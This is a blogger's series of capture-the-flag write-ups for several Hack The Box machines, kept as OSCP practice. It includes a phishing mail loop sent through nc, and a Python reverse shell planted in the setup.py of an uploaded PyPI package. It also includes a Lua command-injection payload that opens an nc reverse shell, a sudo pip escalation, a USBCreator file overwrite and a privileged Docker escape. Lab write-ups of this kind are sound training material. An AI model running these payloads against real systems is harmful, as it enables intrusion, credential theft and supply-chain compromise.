It also told us that work had been assigned and that we needed to check our email, and that pip was available. One open question was our username: it only referred to us as You.

This contained every team member’s email address and role.

Bradley Greer’s:

The boss Cara Stevens’s:

After gathering this information, I checked each service. ftp did not allow anonymous login.

SMTP accepted connections. We did not need to send mail yet, but I still checked everything.

Port 8080 showed an nginx page. I started brute-forcing ports 80 and 8080, then examined imap on 143 and 993.

Brute force revealed a registration page: http://sneakycorp.htb/pypi//register.php

It did nothing, so the attack clearly had to involve email.

I first saved every email address and verified them.

smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25

They all existed. My only apparent option was to brute-force 143.

I used the collected email addresses and passwords gathered by cewl.

It found nothing.

I kept searching for related vulnerabilities, thinking that perhaps I needed an exp. In practice, after a long time I still had nothing—not even a version number to match against.

I was completely stuck and had no options, so I looked at a write-up.

To confirm that this really was the only path, I reviewed many write-ups describing this step. Without exception, they sent a link to every email address. The delivery methods differed, but the idea was always the same.

Sending email through smtp is extremely common, but it never occurred to me that I could phish users with a link and make them send their information back. I genuinely never imagined that.

Now that I had the idea, I just needed to send the link.

I constructed the payload.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#!/bin/bash

{
    echo "helo smtp"

    while read i; do
        echo "Mail from:[email protected]"
        echo "Rcpt to:$i"
        echo "data"
        echo "subject:test"
        echo ""
        echo "http://10.10.16.19:6789/"
        echo "."
    done < user.txt

    echo "quit"
} | nc sneakycorp.htb 25

Running it sent the messages.

nc received a response.

[email protected]&password=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(JuhqcHl<:Ht

ftp would not connect.

I started testing port 143, thinking imap should let me view the inbox.

https://blog.csdn.net/hi_teotong/article/details/49635781

This post was very good.

Port 143 did not work either.

I checked 993 next.

openssl s_client -crlf -connect sneakycorp.htb:993

Then I ran:

a001 LOGIN [email protected] “^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht”

That still did not work.

I tried a tool.

https://www.cmdschool.org/archives/5449

https://imap-cli.readthedocs.io/en/latest/installation.html

Immediately after installation, it had a code error. I changed the code and got it running.

But it still produced an error.

The login failed, but I suspected it was using port 143 rather than 993.

I still could not log in. I tried ssh as well, but that also failed.

I was certain that, since I had an email address and password, the intended service was probably email. At the moment, however, my imap-cli did not work and could not specify a port or similar options.

Later I found a program named evolution.

apt-get install evolution

Simply install it, but do not run it as root or it will not open. It is a very straightforward program, yet there were no real tutorials online—only installation guides—so I had to work it out myself.

Neither 993 nor 143 would accept the login. It kept failing.

I never expected that the correct username would be paulbyrd. I had always included the full email address before.

Then another problem appeared.

The issue was that when evolution was closed and reopened, it restarted kali, dropping every service. I then started openvpn again, which caused the system to hang. The real reason I could not reach the internal network was that the connection was gone.

It worked after a reboot. I simply had to avoid closing evolution again.

I first tested with imapcli.

I intentionally made the first account wrong.

The second account was correct and produced a different error, proving that the problem was with imapcli.

Next I started evolution.

It held me up for a while after opening, but I finally got in.

There were two messages.

The first leaked information.

Hello administrator, I want to change this password for the developer account

Username: developer

Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

I finally logged in to ftp. This password worked there.

The first thing I noticed was that this looked like a backup of the website—or perhaps the live web root itself. The earlier email said we needed to develop the contents of the pypi directory, so it was very likely a web directory. I could simply upload a shell.

But after uploading it, I could not access it, and it was deleted after a while. I tried uploading inside pypi, but that directory completely refused file uploads.

Further testing suggested that no directory accepted files except dev. Files uploaded there could not be accessed and were deleted.

My first thought was a race condition, so I tried it.

It did not work.

I was stuck again. When I inspected the source files on ftp, they could not possibly be the files for the current site. At the very least, index.php differed from the live site’s version.

This content was completely absent, as were several other files.

I could only interpret it as a backup. But if it was a backup, the configuration files should have contained something. They did not: these php files were pure html front-end code with nothing related to a backend.

With no way forward, I checked someone else’s write-up, which hinted at a subdomain. The path immediately became clear.

ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H “HOST: FUZZ.sneakycorp.htb” -fs 185

ffuf could brute-force it perfectly.

The result was dev.sneakycorp.htb.

I added it to hosts.

Sure enough, this matched the index.php I had just seen.

The dev directory had actually hinted at it too. In the future, I need to test subdomains with ffuf as soon as I obtain a domain, before moving on.

I only needed to put the file and visit it.

I finally obtained a shell.

I started privilege escalation.

There were several files in the pypi.sneakycorp.htb directory.

The .htpasswd file contained pypi’s password hash, which needed to be cracked.

packages could not be entered except by members of the pypi-pkg group.

The venv directory was only a virtual-environment configuration with basic files, so it was not very important. I considered the next step.

This was the group file. The pypi-pkg group included the pypi user.

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

The objective was now clear: escalate to pypi and inspect the packages directory.

https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1

At first I did not know how to crack it. This post gave me the idea.

I only needed to specify the file, with no extra operations. Eventually it cracked successfully.

soufianeelhaoui

As expected, pypi was configured with nologin, so I could not use su.

I could not use su to switch to either user with a home directory because the passwords were wrong, and pypi could not log in to ftp either.

I found pypi’s site on port 8080 and could access it after adding a hosts entry.

It reported pypiserver version 1.3.2, and the simple endpoint accepted logins, although there was nothing inside.

In other words, pypi was for uploading and maintaining python packages. But why were none of the described options available when I used it? If this was not a framework vulnerability, perhaps I could upload a malicious package. I could not set environment variables in my current context, but when another user imported the package it would cause RCE.

I had no other ideas and could only assume this needed to be combined with another vulnerability.

While searching, I noticed that the low user’s home contained a venv virtual environment and that we could install packages with pip. That suggested an idea: use pspy32 to see whether there was a scheduled python task. If so, installing a malicious package would escalate privileges.

I eventually built a package and uploaded it successfully. I consulted many posts, but the two key ones were:

https://blog.csdn.net/zjshui/article/details/107973601 How to upload to a private repository

https://monsoir.github.io/Notes/Python/upload-pypi.html How to build a python package

Here are my files.

1
2
3
4
5
6
7
.
├── README.md
├── jsonizer
│   ├── __init__.py
│   ├── jsonize.py
├── LICENSE.txt
└── setup.py

The directory structure was the one shown above, copied from a github project. You can choose any name for your own project.

I named mine Reverse-Shell-1.1.1.

So I created a Reverse-Shell-1.1.1 directory.

It was naturally empty after creation. I entered it and, as required, created the two empty files README.md and LICENSE.txt inside Reverse-Shell-1.1.1.

Next I created the jsonizer directory, entered it, and made init.py and jsonize.py. init.py could be empty, and so could jsonize.py, although I added an arbitrary print statement.

1
2
3
4
5
6
.
├── README.md
├── jsonizer
│   ├── __init__.py
│   ├── jsonize.py
├── LICENSE.txt

That was the current structure. Only setup.py remained.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from setuptools import setup, find_packages

setup(
    name='Reverse-Shell',
    version='1.1.1',
    keywords=['Safari', 'Bookmarks', 'JSON', 'Monsoir'],
    description='transform Safari bookmarks export to JSON file',
    license='MIT License',

    url='https://github.com/Monsoir/safari-bookmarks-jsonizer',
    author='Monsoir',
    author_email='[email protected]',

    packages=find_packages(),
    include_package_data=False,
    platforms=["any"],
    install_requires=['beautifulsoup4'],
    python_requires='>3.0',
    entry_points={
        'console_scripts': [
            'jsonize = jsonizer.jsonize:main',
        ]
    }
)

That completed it. The jsonizer directory did not actually seem necessary. Even if it was, at most it needed an empty py file for the constructor. The package above was recognized, so I left it alone and ran:

1
python setup.py sdist

This created a new dist directory in the current directory, containing the packaged tar.gz file. The following command uploaded it.

The final argument meant to upload the files under dist.

python -m twine upload –repository-url http://pypi.sneakycorp.htb:8080/ dist/*

But the package disappeared soon after being uploaded.

Remember the pspy32 I uploaded earlier? It was still running on another port.

That revealed the key detail. The low user extracted the tar archive, ran setup.py with python to install it, and then uninstalled it. The purpose was to test the package. No wonder this user’s home contained many packages and a venv virtual environment.

As I understood it, changing setup.py to contain reverse-shell code would return a shell.

The path was now completely clear. I extracted the tar archive from dist.

I modified setup.py and added python reverse-shell code at the beginning.

1
2
3
4
5
6
7
import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.19", 6789))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

Then I repackaged and uploaded it.

I got a shell and continued with privilege escalation.

sudo -l showed a command. I could simply search for it.

1
2
3
4
5
6
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

Following the method above escalated directly to root.

Done!

I can only say that this was the hardest box I had completed so far, without exception. It felt like sitting an exam. Including breaks, I spent around 20 hours on it and ended up light-headed. I checked a write-up twice. The first time was because I did not realize I could phish information simply by sending links to other email addresses. That possibility never occurred to me, although the box actually provided many hints. The second time was for the dev subdomain, which genuinely was my mistake. From now on, I will brute-force subdomains before starting each box.

I learned a great deal and spent the entire time searching google. Asking chatgpt would often have produced better ideas, but oscp does not allow it, so I searched through a huge number of posts.

This box had an imap service, which I had never used. I installed many programs, none of which worked, and remained stuck until I finally found usable software. Then there was pypi, also my first encounter with it, so naturally it took a long time to learn. Most of my time went into learning pypi. I gained a lot from this box and can already feel the difficulty increasing.

The 2022 hackthebox linux list has 50 boxes intended for oscp practice. I have now completed 27. After finishing these, I will move on to windows boxes. Once the 2022 list is complete, I will do the newest boxes, followed by oscplabs.

28.Passage

Information gathering:

Port 22 revealed nothing, while any brute force against port 80 immediately resulted in a ban.

http://10.10.10.206/index.php?id=11

This article explained it.

Excessive access would be blocked for two minutes.

Directory brute-forcing and similar techniques were unusable. I had two ideas.

The first was to brute-force the site slowly, using a wordlist generated by cewl.

The second was to test http://10.10.10.206/index.php?id=11 for sql injection.

cewl http://10.10.10.206/index.php -w dict.txt

ffuf -w ./dict.txt -u http://10.10.10.206/FUZZ -t 1

I set the thread count to 1 to avoid being banned.

Before discovering the ban behavior, directory brute force had found new.php.

After running cewl against the home page, I identified CuteNews. There were also 11 posts, so each one needed to be crawled to build a directory-brute-force list.

The domain:

I opened another page here to brute-force subdomains.

The page above also revealed the version: CuteNews 2.1.2.

I found the final exp.

I briefly reviewed how it worked.

It registered an account and then sent the payload. All I had to do was run it and enter the url. It was extremely simple.

I never imagined it would be that easy.

A shell came back.

I started privilege escalation.

These configuration files contained nothing. I searched google for the database configuration location.

https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql

I did find these two files, but they contained nothing.

linenum found many things.

It was clearly started by root.

Regardless, I first tried cracking these.

1
2
3
4
/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd
username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.			#foo
/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd
username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/			#password

Only two cracked.

According to the explanation, the other hashes were not meant to be cracked. They were combined with site-specific elements to generate new hashes that served as credentials.

I abandoned this for the moment and returned my attention to the website, because my searches kept saying:

It used flat files for storage. Every post I found said the same thing: there was no database, and all data was stored in txt and similar files. Yet the exp clearly created a user, and that user did not appear in either of the two files just mentioned. That made no sense.

Searching for txt files revealed two users.txt files.

Unfortunately, neither contained anything useful. Digging further through the directories eventually revealed an important detail.

/var/www/html/CuteNews/cdata/users/lines

I wrote a script and obtained the results.

b’a:1:{s:5:“email”;a:1:{s:16:“[email protected]”;s:10:“paul-coles”;}}’ b’a:1:{s:2:“id”;a:1:{i:1598829833;s:6:“egre55”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“[email protected]”;s:6:“egre55”;}}' b’a:1:{s:4:“name”;a:1:{s:5:“admin”;a:8:{s:2:“id”;s:10:“1592483047”;s:4:“name”;s:5:“admin”;s:3:“acl”;s:1:“1”;s:5:“email”;s:17:“[email protected]”;s:4:“pass”;s:64:“7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1”;s:3:“lts”;s:10:“1592487988”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483281;s:9:“sid-meier”;}}' b’a:1:{s:5:“email”;a:1:{s:17:“[email protected]”;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“[email protected]”;s:9:“kim-swift”;}}' b’a:1:{s:2:“id”;a:1:{i:1592483236;s:10:“paul-coles”;}}' b’a:1:{s:4:“name”;a:1:{s:9:“sid-meier”;a:9:{s:2:“id”;s:10:“1592483281”;s:4:“name”;s:9:“sid-meier”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“[email protected]”;s:4:“nick”;s:9:“Sid Meier”;s:4:“pass”;s:64:“4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88”;s:3:“lts”;s:10:“1592485645”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483047;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“[email protected]”;s:9:“sid-meier”;}}' b’a:1:{s:4:“name”;a:1:{s:10:“paul-coles”;a:9:{s:2:“id”;s:10:“1592483236”;s:4:“name”;s:10:“paul-coles”;s:3:“acl”;s:1:“2”;s:5:“email”;s:16:“[email protected]”;s:4:“nick”;s:10:“Paul Coles”;s:4:“pass”;s:64:“e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd”;s:3:“lts”;s:10:“1592485556”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:4:“name”;a:1:{s:9:“kim-swift”;a:9:{s:2:“id”;s:10:“1592483309”;s:4:“name”;s:9:“kim-swift”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“[email protected]”;s:4:“nick”;s:9:“Kim Swift”;s:4:“pass”;s:64:“f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca”;s:3:“lts”;s:10:“1592487096”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“3”;}}}' b’a:1:{s:4:“name”;a:1:{s:6:“egre55”;a:11:{s:2:“id”;s:10:“1598829833”;s:4:“name”;s:6:“egre55”;s:3:“acl”;s:1:“4”;s:5:“email”;s:15:“[email protected]”;s:4:“nick”;s:6:“egre55”;s:4:“pass”;s:64:“4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc”;s:4:“more”;s:60:“YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:“lts”;s:10:“1598834079”;s:3:“ban”;s:1:“0”;s:6:“avatar”;s:26:“avatar_egre55_spwvgujw.php”;s:6:“e-hide”;s:0:”";}}}' b’a:1:{s:2:“id”;a:1:{i:1592483309;s:9:“kim-swift”;}}'

I organized the results.

[email protected] 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1

[email protected] 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88

[email protected] e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd

[email protected] f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca

[email protected] 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

The password for [email protected] was atlanta1.

The password for [email protected] was egre55.

The others did not crack with rockyou, and online sites had no results either.

I successfully escalated to paul.

paul’s private key was under .ssh. I extracted it and prepared to connect over ssh.

But while examining the public key, I noticed that the user at the end was not paul.

They apparently used the same key pair.

I continued with privilege escalation.

find / -group dip -not -path “/proc/*” 2>/dev/null

I did not find much belonging to the group.

Notably, nadav belonged to the sudo group, meaning he could run sudo. This differed from paul.

But sudo -l required a password. My current plan was therefore to find it. I searched everything and found no password at all.

I began looking at suid files and found something unfamiliar.

/bin/ntfs-3g I searched for a privilege-escalation method.

It errored, so I investigated the cause.

The errors mainly occurred at the final two points. I kept searching for vulnerabilities and found a very good post.

https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&u_asig=0a472f9117302920303012094e00b0

It suggested using:

https://www.exploit-db.com/exploits/41356

https://project-zero.issues.chromium.org/issues/42450079

one of the two exps above. That was correct. I tried both, but each produced:

This path clearly did not work.

I had no ideas afterward, so I inspected the home directories again. Earlier I had focused only on passwords and missed this.

This was not a conventional configuration file. I started searching for related vulnerabilities.

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

The bottom of this page explained how to use it. Perhaps my search method was flawed, because this was the only article I found that actually showed the procedure, all the way at the bottom.

Once I had a command, I searched google for “gdbus call –system –dest com.ubuntu.USBCreator”.

That led to this site:

https://kashz.gitbook.io/kashz-jewels/services/usbcreator

Its commands were very detailed. I assembled the command:

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/root/root.txt’ ‘/tmp/1111.txt’ true

I obtained the flag, but I still wanted a proper privilege escalation. Since I could write arbitrary files:

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/home/nadav/.ssh/authorized_keys’ ‘/root/.ssh/authorized_keys’ true

Done.

This box was quite different from the earlier ones. The privilege-escalation methods in the later boxes are becoming increasingly varied, so I simply need to practice more of them.

29.Luanne

Information gathering:

http://10.10.10.218/ required a login, so I brute-forced it first.

The request returned 404, so I continued brute-forcing.

Visiting it showed that this was a weather endpoint with a lua backend.

I consulted several articles. Since the backend was written in lua, command injection might be present.

https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/

https://gtfobins.github.io/gtfobins/lua/

Testing showed that commands could not be executed directly. It only returned the supplied input. A single quote produced an error, while most other inputs did not.

I checked the language documentation. The code might have been written this way: close the value with ‘, then use ‘; to execute another command. Since the output here was only a string, closing the preceding expression would let me append a command.

That did not work in practice, so I kept trying. The closing syntax was probably wrong. This sort of command injection also required commenting out the trailing code so it would not interfere with mine.

After a long search I found the correct closing syntax. The ’ was definitely relevant or it would not have caused an error, but a lone ’ did not work. After many more attempts, ‘) succeeded.

http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)–+os.execute(%22id%22)–+)

I then tried many times to get a reverse shell, without success. nc worked, but could not establish a shell connection.

I suspected the shell might be wrong. Testing showed that the current user’s shell was /bin/sh, yet it still would not connect back. I put the reverse shell aside and inspected other files first.

There was a .htpasswd in the current directory.

It cracked to webapi_user:iamthebest.

Port 22 still did not work.

Neither did 9001.

There was no /etc/passwd entry, meaning this was only a website account. Then I remembered that port 80 also had a login page.

It turned out to be the same thing as before, with no meaningful difference.

There were very few entry points left: a url where the reverse shell did not work, and an unknown website on 9001.

The lua reverse shell was also missing a library.

‘) os.execute(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f”) –+

http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b

It finally worked. This was absurd: sh could not find the command without an explicit path. It also seemed that Burp Suite’s URL encoding added an extra carriage return, or something similar.

Nothing worked for ages. It felt like superstition.

As an aside, I had a bad feeling from the moment I saw the rating.

I started privilege escalation.

I could not get a tty.

I tried many privilege-escalation checks, but a lot of familiar tools seemed to be missing. I searched for NetBSD 9.0.

Its commands appeared somewhat different from ordinary linux commands.

Local ports 3000 and 3001 were listening.

Authentication was easy. I had credentials from above that worked on the weather endpoint. I had seen this authentication scheme many times; tomcat is a classic example.

curl http://127.0.0.1:3000 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

curl http://127.0.0.1:3001 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

Ports 3000 and 3001 appeared to serve the same thing.

I had an idea: the two services were identical, but perhaps they had been started by different users. I knew very little about bsd commands, so I searched google as best I could for “how to see which user opened a port on bsd.”

Both were present, so I tried them. I already had the exp anyway.

curl “http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

Port 3000 worked and returned a shell, while 3001 did not.

I tried many methods but could not map pids to ports.

netstat -an

sockstat -4l

Neither helped, and I had no other methods left.

At this point I genuinely could not continue. The only option was to build a tunnel and test the service, but that did not seem likely to help.

With no way forward, I glanced at a write-up.

It hinted that the r.michaels directory could be accessed through the website. Apparently this was a backup service.

I never would have thought of that. Perhaps there was a problem with my procedure, because I had no way to determine whether 3001 corresponded to the r.michaels user.

The write-ups found it through directory brute-forcing. My wordlist certainly would not have contained these values, and I would never have thought to build one from distinctive strings in files such as home and passwd. That did not feel like a systematic approach. Perhaps my commands were still wrong. After finishing, I planned to ask GPT whether there was a way to map a port and process to the corresponding user and files.

curl “http://127.0.0.1:3001/~r.michaels/id_rsa” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

Found it.

This was very strange. Apparently ~ traversed into the r.michaels directory, requiring only that the current user be r.michaels, a member of users, or root. I did not know that a service started by python could allow this kind of traversal. In any case, it was a very strange thing to try.

It worked.

There was a backup file. I transferred it to kali. The enc file was encrypted, so I needed to determine how to encrypt and decrypt it while also checking the other directories.

I became stuck again and could not decrypt it at all. It looked as though I needed to identify the encryption type and find a key, but I had no idea where the key was. I checked a write-up again.

A single command solved it.

netpgp –decrypt devel_backup-2020-09-16.tar.gz.enc –output=/tmp/raj.tar.gz

tar -xvf /tmp/raj.tar.gz

It also contained devel-2020-09-16/www/.htpasswd.

It cracked as follows.

littlebear

su could not switch users, so I was stuck again.

Done.

There was a reason this scored 2.5. I do not know whether these were netbsd-specific behaviors or something else, but the box was extremely unpleasant to use. Its commands were completely different from the ones I knew, and its ways of getting a shell were bizarre. It did broaden my experience, but completing it felt awful. This was the most frustrating box yet.

Finally, I revisited my earlier question. There was indeed a method.

ps aux | grep httpd

I had overlooked ps at the time because this linux system seemed to lack every familiar command, and everything behaved differently.

This clearly showed that port 3001 had been started by r.michaels.

30.Time

The rating is a little low, so I am leaving this blank for now.

31.Ready

Information gathering:

http://10.10.10.220:5080/dude/ready-channel

After registering and entering, there was only one project.

I examined it for a long time, but it seemed to be a distraction. Although the project was present, running:

grep -r ‘password’ ./

grep -r ‘username’ ./

revealed no information disclosure, nor any ssh keys.

google showed me how to check the version.

There were vulnerabilities after all.

But both appeared to fail. I found a script on github.

https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py

This one worked and exploited the target successfully.

I started privilege escalation.

There was a root_pass file in the root directory, but it was not useful.

YG65407Bjqvv9A0a8Tm_7w

linenum told us that we were in a docker container, and other methods confirmed the same thing. I thought the intended path was probably a docker escape.

I tried many methods, but all said that my current account was not root and could not perform the operations. The first step therefore remained escalating to root.

I found docker’s configuration files as well as gitlab’s.

I ran cat gitlab.rb | grep passw against them one by one.

Eventually I found a password in gitlab.rb.

I successfully switched to root.

wW59U!ZKMbG9+*#h

The container ran in privileged mode, so a docker escape solved it directly.

I had tested this while running as gitlab, but the mount failed because that account lacked sufficient privileges. Now it worked.

Running fdisk -l produced the following result.

The filesystem appeared to be the physical host’s disk. I only needed to mount it at the test directory under /tmp.

mkdir /tmp/test && mount /dev/sda2 /tmp/test

I mainly followed this post:

https://xz.aliyun.com/t/12495

After mounting it, I could access it directly and retrieve the flag. But I still wanted proper root access.

I discovered that I could not write data into the scheduled-task directory. It reported insufficient space at /tmp/test/var/spool/cron/root.

It was at 100%. I could delete data but could not write, so I searched google again.

I deleted many things, but it still failed and reported that the disk was full.

There was already a root scheduled task under /tmp/test/var/spool/cron/crontabs, and this file was writable. I could append to or overwrite it. However, neither approach returned a shell. Writing a public key under root’s directory was also possible. After resetting the box, however, gitlab broke, and the platform would not let me reset it a second time so soon. Perhaps this happened because I overwrote /tmp/test/var/spool/cron/crontabs/root. It originally contained gitlab’s scheduled tasks; after I replaced it, those tasks were gone. Even resetting the box left it broken. This reset mechanism was rather ridiculous.

After some time passed, I reset it again and it recovered.

I found the private key and used it to connect.

Done. Although this box was rated medium, I did not find it particularly hard. In comparison, the previous box, number 29, luanne, was rated easy but was actually extremely difficult.

Its rating was also quite good, and it was an excellent box for broadening my experience.